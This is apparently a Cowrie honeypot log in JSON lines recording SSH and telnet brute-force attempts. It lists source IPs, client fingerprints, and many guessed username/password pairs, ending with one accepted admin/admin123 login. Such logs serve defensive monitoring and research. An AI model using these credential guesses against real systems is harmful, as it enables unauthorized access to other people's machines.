{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:21:29.410551Z","src_ip":"36.92.41.115","session":"c3ae31524852","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"iptv","password":"iptv","message":"login attempt [iptv/iptv] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:21:29.962172Z","src_ip":"141.11.88.14","session":"0a6c2487bfe5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:21:31.069185Z","src_ip":"141.11.88.14","session":"0a6c2487bfe5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"141.11.88.14","src_port":36020,"dst_ip":"10.17.0.5","dst_port":22,"session":"3f3a67a54827","protocol":"ssh","message":"New connection: 141.11.88.14:36020 (10.17.0.5:22) [session: 3f3a67a54827]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:21:35.796779Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:21:35.830735Z","src_ip":"141.11.88.14","session":"3f3a67a54827","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:21:35.924928Z","src_ip":"141.11.88.14","session":"3f3a67a54827","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"celeste","password":"celeste","message":"login attempt [celeste/celeste] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:21:36.568706Z","src_ip":"141.11.88.14","session":"3f3a67a54827","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:21:37.660346Z","src_ip":"141.11.88.14","session":"3f3a67a54827","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"141.11.88.14","src_port":14930,"dst_ip":"10.17.0.5","dst_port":22,"session":"7a42fb9635af","protocol":"ssh","message":"New connection: 141.11.88.14:14930 (10.17.0.5:22) [session: 7a42fb9635af]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:21:41.461948Z"}
{"eventid":"cowrie.session.closed","duration":32.92426657676697,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:21:41.564942Z","src_ip":"172.81.62.90","session":"05a70d644dcc","protocol":"telnet"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:21:41.770007Z","src_ip":"141.11.88.14","session":"7a42fb9635af","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:21:41.783160Z","src_ip":"141.11.88.14","session":"7a42fb9635af","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"ddd","message":"login attempt [root/ddd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:21:42.593793Z","src_ip":"141.11.88.14","session":"7a42fb9635af","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:21:43.881104Z","src_ip":"141.11.88.14","session":"7a42fb9635af","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":55982,"dst_ip":"159.203.135.109","dst_port":23,"session":"be6bf5542f55","protocol":"telnet","message":"New connection: 128.199.8.54:55982 (159.203.135.109:23) [session: be6bf5542f55]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:21:46.509412Z"}
{"eventid":"cowrie.session.connect","src_ip":"141.11.88.14","src_port":53808,"dst_ip":"10.17.0.5","dst_port":22,"session":"14b7fa9e6f3b","protocol":"ssh","message":"New connection: 141.11.88.14:53808 (10.17.0.5:22) [session: 14b7fa9e6f3b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:21:49.699801Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:21:49.853509Z","src_ip":"141.11.88.14","session":"14b7fa9e6f3b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:21:49.856526Z","src_ip":"141.11.88.14","session":"14b7fa9e6f3b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"dummy","password":"dummy","message":"login attempt [dummy/dummy] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:21:50.716508Z","src_ip":"141.11.88.14","session":"14b7fa9e6f3b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:21:51.825485Z","src_ip":"141.11.88.14","session":"14b7fa9e6f3b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"141.11.88.14","src_port":13898,"dst_ip":"10.17.0.5","dst_port":22,"session":"77e38308cdc5","protocol":"ssh","message":"New connection: 141.11.88.14:13898 (10.17.0.5:22) [session: 77e38308cdc5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:21:57.634111Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:21:57.724461Z","src_ip":"141.11.88.14","session":"77e38308cdc5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:21:57.732346Z","src_ip":"141.11.88.14","session":"77e38308cdc5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"mcserver","password":"mc","message":"login attempt [mcserver/mc] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:21:58.906877Z","src_ip":"141.11.88.14","session":"77e38308cdc5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.79.125","src_port":53210,"dst_ip":"159.203.135.109","dst_port":22,"session":"43c46aa65a55","protocol":"ssh","message":"New connection: 87.251.79.125:53210 (159.203.135.109:22) [session: 43c46aa65a55]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:21:59.581770Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:21:59.586638Z","src_ip":"87.251.79.125","session":"43c46aa65a55","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:21:59.653996Z","src_ip":"87.251.79.125","session":"43c46aa65a55","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"27111990","message":"login attempt [root/27111990] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:21:59.857629Z","src_ip":"87.251.79.125","session":"43c46aa65a55","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:22:00.188588Z","src_ip":"141.11.88.14","session":"77e38308cdc5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:22:00.932634Z","src_ip":"87.251.79.125","session":"43c46aa65a55","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"141.11.88.14","src_port":13948,"dst_ip":"10.17.0.5","dst_port":22,"session":"c52c84910f4d","protocol":"ssh","message":"New connection: 141.11.88.14:13948 (10.17.0.5:22) [session: c52c84910f4d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:22:03.426797Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:22:03.568599Z","src_ip":"141.11.88.14","session":"c52c84910f4d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:22:03.573395Z","src_ip":"141.11.88.14","session":"c52c84910f4d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":35412,"dst_ip":"159.203.135.109","dst_port":23,"session":"dbab1d435d52","protocol":"telnet","message":"New connection: 128.199.8.54:35412 (159.203.135.109:23) [session: dbab1d435d52]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:22:03.814695Z"}
{"eventid":"cowrie.session.connect","src_ip":"194.59.206.2","src_port":51482,"dst_ip":"159.203.135.109","dst_port":22,"session":"abf4ccedb445","protocol":"ssh","message":"New connection: 194.59.206.2:51482 (159.203.135.109:22) [session: abf4ccedb445]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:22:04.179163Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:22:04.184213Z","src_ip":"194.59.206.2","session":"abf4ccedb445","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"e54ef3ec27fe1fea7ab64d3fa05359fd","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group1-sha1,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1;chacha20-poly1305@openssh.com,aes128-gcm@openssh.com,aes256-gcm@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,arcfour256,arcfour128,arcfour,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group1-sha1","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com"],"encCS":["chacha20-poly1305@openssh.com","aes128-gcm@openssh.com","aes256-gcm@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","arcfour256","arcfour128","arcfour","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: e54ef3ec27fe1fea7ab64d3fa05359fd","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:22:04.293921Z","src_ip":"194.59.206.2","session":"abf4ccedb445","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.2","message":"Connection lost after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:22:04.388607Z","src_ip":"194.59.206.2","session":"abf4ccedb445","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"adam","password":"password","message":"login attempt [adam/password] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:22:05.335487Z","src_ip":"141.11.88.14","session":"c52c84910f4d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.3","message":"Connection lost after 3.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:22:06.697583Z","src_ip":"141.11.88.14","session":"c52c84910f4d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"141.11.88.14","src_port":42664,"dst_ip":"10.17.0.5","dst_port":22,"session":"b28f4d1d96f7","protocol":"ssh","message":"New connection: 141.11.88.14:42664 (10.17.0.5:22) [session: b28f4d1d96f7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:22:10.107689Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:22:10.189023Z","src_ip":"141.11.88.14","session":"b28f4d1d96f7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:22:10.351551Z","src_ip":"141.11.88.14","session":"b28f4d1d96f7","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin123","message":"login attempt [admin/admin123] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:22:10.833935Z","src_ip":"141.11.88.14","session":"b28f4d1d96f7","protocol":"ssh"}
